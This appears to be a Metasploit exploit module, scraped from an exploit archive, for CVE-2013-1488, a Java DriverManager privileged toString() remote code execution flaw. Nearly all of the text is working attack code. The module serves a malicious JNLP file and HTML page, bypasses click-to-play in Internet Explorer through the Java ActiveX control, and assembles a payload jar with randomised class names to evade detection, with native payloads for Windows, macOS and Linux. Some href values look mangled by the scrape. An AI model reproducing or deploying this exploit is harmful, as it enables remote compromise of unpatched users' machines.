Java Applet – Driver Manager Privileged ‘toString()’ Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution', 'Description' => %q{ This module abuses the java.sql.DriverManager class where the toString() method is called over user supplied classes, from a doPrivileged block. The vulnerability affects Java version 7u17 and earlier. This exploit bypasses click-to-play on IE throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java Web Start can be launched automatically throw the ActiveX control. Otherwise the applet is launched without click-to-play bypass. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Vulnerability discovery and Analysis 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-1488' ], [ 'OSVDB', '91472' ], [ 'BID', '58504' ], [ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ], [ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-076/' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 10 2013' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver.class") @driver_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver2.class") @driver2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object") @object_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver") @driver_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) @jnlp_name = rand_text_alpha(8) super end def jnlp_file jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" jnlp = %Q| <?xml version="1.0" encoding="utf-8"?> <jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="https://www.exploit-db.com/exploits/26135/#{jnlp_uri}"> <information> <title>Applet Test JNLP</title> <vendor>#{rand_text_alpha(8)}</vendor> <description>#{rand_text_alpha(8)}</description> <offline-allowed/> </information> <resources> <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" /> <jar href="https://www.exploit-db.com/exploits/26135/#{rand_text_alpha(8)}.jar" main="true" /> </resources> <applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1"> <param name="__applet_ssv_validated" value="true"></param> </applet-desc> <update check="background"/> </jnlp> | return jnlp end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jnlp$/i send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" }) when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("FakeDriver.class", @driver_class) jar.add_file("FakeDriver2.class", @driver2_class) jar.add_file("META-INF/services/java.lang.Object", @object_services) jar.add_file("META-INF/services/java.sql.Driver", @driver_services) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" # When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass # Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass html = %Q| <html> <body> <object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0> <param name="app" value="#{jnlp_uri}"> <param name="back" value="true"> <applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet> </object> </body> </html> | return html end end |